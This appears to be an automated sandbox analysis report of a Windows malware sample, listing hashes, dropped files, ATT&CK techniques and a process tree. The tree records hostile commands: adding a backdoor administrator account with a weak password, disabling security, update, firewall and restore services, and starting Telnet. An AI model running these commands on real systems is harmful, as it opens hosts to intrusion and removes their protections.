d8c4a861d9db96c50edc171bbf37d920158e988a409b9db85a9b421edc49ae2f

Analysis

max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/08/2026, 00:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
Size 5.7MB
Sample260807-am8cvaxvbz
SHA256 d8c4a861d9db96c50edc171bbf37d920158e988a409b9db85a9b421edc49ae2f
MD5 b4c7c445dbd7d4b4327e81fefc1dc10b
SHA1 98f5f8994cd823488633e09c8095189c140e5655
SHA512 7bcf04c6c6c71125a2bce3e1e141878a944d6ee3c4589e7ddb31134644b0f768e1a30045d9dbf7f70d78e4e63bdfa15799620ddc552bc2615dc4297a347aab28
SSDEEP 49152:PabH/xouYSCgjI45TMwwapIgTgabH/NouYSCgjI45TMwwapIgTB/7t0i0FZaUm8E:1rLapIfrLapIgnUm8Un
TLSH
T1A056192271A20499F559D972CF06A324A7E13C698FF187EFF14972C91B725E03B3970A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\drivers\2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~1.Doc	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
4564	UpdatAuto.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\Option.bat	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Windows\SysWOW64\UpdatAuto.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Windows\SysWOW64\Option.bat	UpdatAuto.exe
File opened for modification	C:\Windows\SysWOW64\UpdatAuto.exe	UpdatAuto.exe
File created	C:\Windows\SysWOW64\dayget.dat	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\xjc.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\7-Zip\7zG.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javap.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\javacpl.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\extcheck.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\java-rmi.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\java.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javafxpackager.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javaw.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\pack200.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\schemagen.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\MeasureConvertFrom.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javac.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javaws.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jcmd.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jdeps.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\tnameserv.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\wsgen.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\java-rmi.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\7-Zip\7zFM.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\chrome_pwa_launcher.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jps.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\7-Zip\7zG.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\os_update_handler.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\setup.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jhat.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jrunscript.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jstat.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jar.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\serialver.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevated_tracing_service.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javah.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javah.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javapackager.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javaw.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\rmic.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\MeasureConvertFrom.doc	UpdatAuto.exe
File opened for modification	C:\Program Files\7-Zip\7zFM.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\setup.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\idlj.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\idlj.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jar.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javac.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javadoc.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\7-Zip\7z.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jdb.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jjs.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jstack.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\javaws.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\dotnet.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\notification_helper.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javadoc.exe	UpdatAuto.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2140	sc.exe
1464	sc.exe
3580	sc.exe
2512	sc.exe
3108	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 8 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2768	cmd.exe
4156	cmd.exe
4016	cmd.exe
5724	cmd.exe
4004	cmd.exe
3332	cmd.exe
3132	cmd.exe
5608	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UpdatAuto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe

Runs net.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4548	WINWORD.EXE
4548	WINWORD.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
5944	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
4564	UpdatAuto.exe
4548	WINWORD.EXE
4548	WINWORD.EXE
4548	WINWORD.EXE
4548	WINWORD.EXE
4548	WINWORD.EXE
4548	WINWORD.EXE

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 5944 wrote to memory of 4004	5944	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	88
PID 5944 wrote to memory of 4564	5944	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	90
PID 4564 wrote to memory of 3332	4564	UpdatAuto.exe	91
PID 5944 wrote to memory of 4548	5944	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	93
PID 5944 wrote to memory of 4440	5944	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	94
PID 5944 wrote to memory of 3132	5944	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	95
PID 5944 wrote to memory of 5608	5944	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	96
PID 5944 wrote to memory of 5724	5944	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	97
PID 5944 wrote to memory of 4016	5944	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	98
PID 5944 wrote to memory of 4156	5944	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	99
PID 5944 wrote to memory of 2768	5944	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	100
PID 5944 wrote to memory of 2140	5944	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	108
PID 5944 wrote to memory of 3108	5944	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	109
PID 5944 wrote to memory of 2512	5944	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	110
PID 5944 wrote to memory of 3580	5944	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	111
PID 5944 wrote to memory of 1464	5944	2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	112
PID 4016 wrote to memory of 2608	4016	cmd.exe	118
PID 4156 wrote to memory of 5436	4156	cmd.exe	119
PID 5608 wrote to memory of 2928	5608	cmd.exe	120
PID 2608 wrote to memory of 1796	2608	net.exe	121
PID 5436 wrote to memory of 2976	5436	net.exe	122
PID 4440 wrote to memory of 4332	4440	cmd.exe	123
PID 5724 wrote to memory of 3404	5724	cmd.exe	124
PID 3132 wrote to memory of 948	3132	cmd.exe	125
PID 3404 wrote to memory of 3152	3404	net.exe	126
PID 2928 wrote to memory of 5924	2928	net.exe	127
PID 4332 wrote to memory of 612	4332	net.exe	128
PID 2768 wrote to memory of 4180	2768	cmd.exe	129
PID 948 wrote to memory of 5620	948	net.exe	130
PID 4180 wrote to memory of 2384	4180	net.exe	132

C:\Users\Admin\AppData\Local\Temp\2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe"
1⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5944
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4004
- C:\Windows\SysWOW64\UpdatAuto.exe
  C:\Windows\system32\UpdatAuto.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4564
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3332
- C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
  "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Windows\system32\drivers\2026-08-06_b4c7c445dbd7d4b4327e81fefc1dc10b_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~1.Doc" /o ""
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:4548
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop sharedaccess
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4440
- - C:\Windows\SysWOW64\net.exe
    net stop sharedaccess
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4332
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop sharedaccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:612
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop wuauserv
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3132
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:948
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:5620
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop wscsvc
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5608
- - C:\Windows\SysWOW64\net.exe
    net stop wscsvc
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2928
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wscsvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:5924
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop srservice
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5724
- - C:\Windows\SysWOW64\net.exe
    net stop srservice
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3404
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop srservice
      4⤵
      System Location Discovery: System Language Discovery
      PID:3152
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net start TlntSvr
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4016
- - C:\Windows\SysWOW64\net.exe
    net start TlntSvr
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2608
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start TlntSvr
      4⤵
      System Location Discovery: System Language Discovery
      PID:1796
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net user helpassistant 123456
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4156
- - C:\Windows\SysWOW64\net.exe
    net user helpassistant 123456
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5436
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user helpassistant 123456
      4⤵
      System Location Discovery: System Language Discovery
      PID:2976
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net localgroup administrators helpassistant /add
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2768
- - C:\Windows\SysWOW64\net.exe
    net localgroup administrators helpassistant /add
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4180
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup administrators helpassistant /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:2384
- C:\Windows\SysWOW64\sc.exe
  sc config srservice start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:2140
- C:\Windows\SysWOW64\sc.exe
  sc config SharedAccess start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:3108
- C:\Windows\SysWOW64\sc.exe
  sc config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:2512
- C:\Windows\SysWOW64\sc.exe
  sc config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:3580
- C:\Windows\SysWOW64\sc.exe
  sc config srservice start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:1464

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Credential Access

Discovery

Network Share Discovery

T1135

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

7z.exe

Path C:\Program Files\7-Zip\7z.exe
Size 6.2MB
SHA256 8c858e558608af3066a6416182f74127ee11d25eeda6fe1c77b2468a9057ac16
MD5 f3154c17751a21696674378855e7a2e9
SHA1 587ecc617837f22acc659745c6ea7fec9b0cf1bb
SHA512 d209ca9745821acbca05f4c82e7a1f0e0200d1aeeb91b7edbe27997bcab0a292b8b4b5504b9a885d24d909b098f0bb59724d85b7c6e24e6ec7159137c0055124
SSDEEP 49152:PabH/FouYSCgjI45TMwwapIgTgabH/NouYSCgjI45TMwwapIgTB/7t0i0FZaUm8L:prLapIfrLapIgnUm8Ubjo
TLSH
T115663A2271A20169F159D872CF46A324A7E13C698FF187EFA14572D92F725F03B3970A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7zFM.exe

Path C:\Program Files\7-Zip\7zFM.exe
Size 6.6MB
SHA256 19fbbad00bfb130d5557405fec9099fb4c2831755dfe14be98c6734d2ac078e1
MD5 866d40e880b8ac37fd1cfb02ade3213a
SHA1 14f02f147520e9c2feaf23795b26600227c59938
SHA512 c6ccdf810de3c45ac396b3553fd49e3b558776bf3c309e49f7f227605943b43aff9db6180fadf0bb482ab904cc470e6ea088213865818ae71c2d7732054c8ce1
SSDEEP 49152:PabH/FouYSCgjI45TMwwapIgTgabH/NouYSCgjI45TMwwapIgTB/7t0i0FZaUm8:prLapIfrLapIgnUm8UUezSC6v2XMH
TLSH
T16A663A2271A1016AF159D872CF46A724A7E13C698FF086EFA10573D92F325F07B3971A
MD5 SHA1 SHA512 SSDEEP TLSH

